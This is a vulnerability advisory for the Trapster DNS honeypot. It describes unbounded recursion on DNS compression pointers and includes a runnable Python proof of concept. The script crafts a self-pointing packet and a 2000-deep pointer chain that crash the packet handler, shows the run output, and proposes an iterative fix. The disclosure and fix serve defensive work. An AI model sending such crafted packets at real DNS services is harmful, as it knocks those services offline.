Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler

trapster.libs.dns.decode_labels() decodes DNS names from attacker-supplied UDP packets and recurses once per RFC 1035 compression pointer with no cycle detection and no depth bound. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising RecursionError. That exception is not handled anywhere on the datagram_received path, so it escapes into the asyncio event loop's default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module).

Severity

Medium (CVSS:3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener.

Affected component

• File: trapster/libs/dns.py, function decode_labels() (called by decode_question_section → decode_dns_message).
• Reached from: trapster/modules/dns.py, DnsUdpProtocol.datagram_received() → dns.decode_dns_message(data), where data is the raw attacker UDP payload received by DnsHoneypot on its configured bind address/port.
• Version tested: latest main at commit 23156739de23816657cbc4582ad32094ed1cab43.

Details

decode_labels implements RFC 1035 §4.1.4 name compression:

def decode_labels(message, offset):
    labels = []
    while True:
        length, = struct.unpack_from("!B", message, offset)
        if (length & 0xC0) == 0xC0:
            pointer, = struct.unpack_from("!H", message, offset)
            offset += 2
            return labels + decode_labels(message, pointer & 0x3FFF), offset   # <-- recurses per pointer
        ...

Each compression pointer triggers a fresh recursive call to decode_labels. There is:

• No cycle detection — a pointer that targets its own offset recurses forever.
• No depth bound — a chain of distinct forward pointers recurses once per pointer.

Either shape exhausts the Python stack and raises RecursionError. decode_dns_message does not catch it, and in DnsUdpProtocol.datagram_received the call dns.decode_dns_message(data) is unguarded, so the exception propagates out of datagram_received into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop's default exception handler logs a full traceback for every packet.

This is the same class of bug fixed upstream in python-zeroconf (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had.

Proof of Concept

Real-deploy E2E. The actual trapster.modules.dns.DnsHoneypot server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes datagram_received.

e2e_poc.py:

import asyncio, struct, socket, sys
from trapster.modules.dns import DnsHoneypot
from trapster.logger.base import BaseLogger

HOST, PORT = "127.0.0.1", 15353
captured_loop_exceptions = []

def build_benign_query(qname=b"example.com"):
    header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
    labels = b"".join(struct.pack("!B", len(p)) + p for p in qname.split(b".")) + b"\x00"
    return header + labels + struct.pack("!2H", 1, 1)

def build_self_pointer():
    header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
    name = struct.pack("!H", 0xC000 | 12)   # pointer to offset 12 == this name
    return header + name + struct.pack("!2H", 1, 1)

def build_pointer_chain(depth=2000):
    header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
    name = struct.pack("!H", 0xC000 | 18)
    qtail = struct.pack("!2H", 1, 1)
    chain = bytearray()
    for i in range(depth):
        chain += struct.pack("!H", 0xC000 | (18 + 2 * (i + 1)))
    chain += b"\x00"
    return header + name + qtail + bytes(chain)

def send_udp(payload, timeout=1.0):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(timeout)
    s.sendto(payload, (HOST, PORT))
    try: return s.recvfrom(4096)[0]
    except socket.timeout: return None
    finally: s.close()

async def main():
    loop = asyncio.get_running_loop()
    def handler(loopobj, context):
        exc = context.get("exception")
        captured_loop_exceptions.append((repr(exc), context.get("message")))
        print(f"[loop-exception-handler] {type(exc).__name__ if exc else None}: {context.get('message')}")
    loop.set_exception_handler(handler)

    hp = DnsHoneypot(config={"port": PORT, "target_dns": "127.0.0.1"},
                     logger=BaseLogger(node_id="e2e"), bindaddr=HOST)
    await hp.start(); await asyncio.sleep(0.4)
    print(f"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}\n")

    print("=== NEGATIVE CONTROL: benign query example.com A ===")
    captured_loop_exceptions.clear(); send_udp(build_benign_query()); await asyncio.sleep(0.3)
    print(f"  loop exceptions after benign packet: {len(captured_loop_exceptions)}")
    assert len(captured_loop_exceptions) == 0
    print("  -> benign packet parsed cleanly, no exception\n")

    print("=== VECTOR A: single self-referential compression pointer (cycle) ===")
    captured_loop_exceptions.clear(); pkt = build_self_pointer()
    print(f"  packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)")
    send_udp(pkt); await asyncio.sleep(0.5)
    print(f"  loop exceptions captured: {len(captured_loop_exceptions)}")
    for e in captured_loop_exceptions: print(f"    {e}")
    assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
    print("  -> RecursionError escaped datagram_received (DoS, no cycle guard)\n")

    print("=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===")
    captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000)
    print(f"  packet ({len(pkt)} bytes) = 2000-deep forward pointer chain")
    send_udp(pkt); await asyncio.sleep(0.5)
    print(f"  loop exceptions captured: {len(captured_loop_exceptions)}")
    for e in captured_loop_exceptions: print(f"    {e}")
    assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
    print("  -> RecursionError escaped datagram_received (DoS, no depth bound)\n")

    await hp.stop(); print("ALL ASSERTIONS PASSED")

if __name__ == "__main__":
    sys.setrecursionlimit(1000)
    asyncio.run(main())

Verbatim run against the deployed honeypot at commit 23156739de23816657cbc4582ad32094ed1cab43:

[deploy] DnsHoneypot listening on udp://127.0.0.1:15353

=== NEGATIVE CONTROL: benign query example.com A ===
  loop exceptions after benign packet: 0
  -> benign packet parsed cleanly, no exception

=== VECTOR A: single self-referential compression pointer (cycle) ===
  packet (18 bytes) name field = pointer 0xC00C -> offset 12 (itself)
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
  loop exceptions captured: 1
    ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
  -> RecursionError escaped datagram_received (DoS, no cycle guard)

=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===
  packet (4019 bytes) = 2000-deep forward pointer chain
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
  loop exceptions captured: 1
    ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
  -> RecursionError escaped datagram_received (DoS, no depth bound)

ALL ASSERTIONS PASSED

The negative control (a well-formed example.com A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input.

Impact

Any host able to send UDP to the DNS honeypot's bind address/port (unauthenticated, no UI) can crash the per-packet handler with a single ~18-byte datagram. A low-rate flood (a few packets per second) keeps the event loop logging full tracebacks and burning CPU, degrading the DNS honeypot and its logging pipeline. Availability impact only; no memory disclosure or code execution.

Suggested fix

Make decode_labels iterative-bounded: require every compression pointer to point strictly backward to a not-yet-visited offset, which bounds both cycles and long forward chains in O(message length) with no recursion. (This mirrors dnspython's biggest_pointer design and the zeroconf depth-bound fix.) Replace the bare raise "unknown label encoding" with a real exception, and consider wrapping dns.decode_dns_message(data) in DnsUdpProtocol.datagram_received in a try/except so a malformed packet is logged once rather than escaping to the loop handler.

Verified fix (benign + legitimate backward-compression names still decode; both hostile vectors are bounded to ValueError with no recursion):

def decode_labels(message, offset):
    labels = []
    return_offset = None
    max_allowed_pointer = len(message)
    while True:
        length, = struct.unpack_from("!B", message, offset)
        if (length & 0xC0) == 0xC0:
            pointer, = struct.unpack_from("!H", message, offset)
            if return_offset is None:
                return_offset = offset + 2
            target = pointer & 0x3FFF
            if target >= max_allowed_pointer:
                raise ValueError("invalid DNS compression pointer")
            max_allowed_pointer = target
            offset = target
            continue
        if (length & 0xC0) != 0x00:
            raise ValueError("unknown label encoding")
        offset += 1
        if length == 0:
            return labels, return_offset if return_offset is not None else offset
        labels.append(*struct.unpack_from("!%ds" % length, message, offset))
        try:
            labels[-1] = labels[-1].decode()
        except UnicodeDecodeError:
            labels[-1] = str(labels[-1])
        offset += length

A fix PR will be supplied from a temporary private fork during the embargo.

Credit

Discovered and reported by tonghuaroot.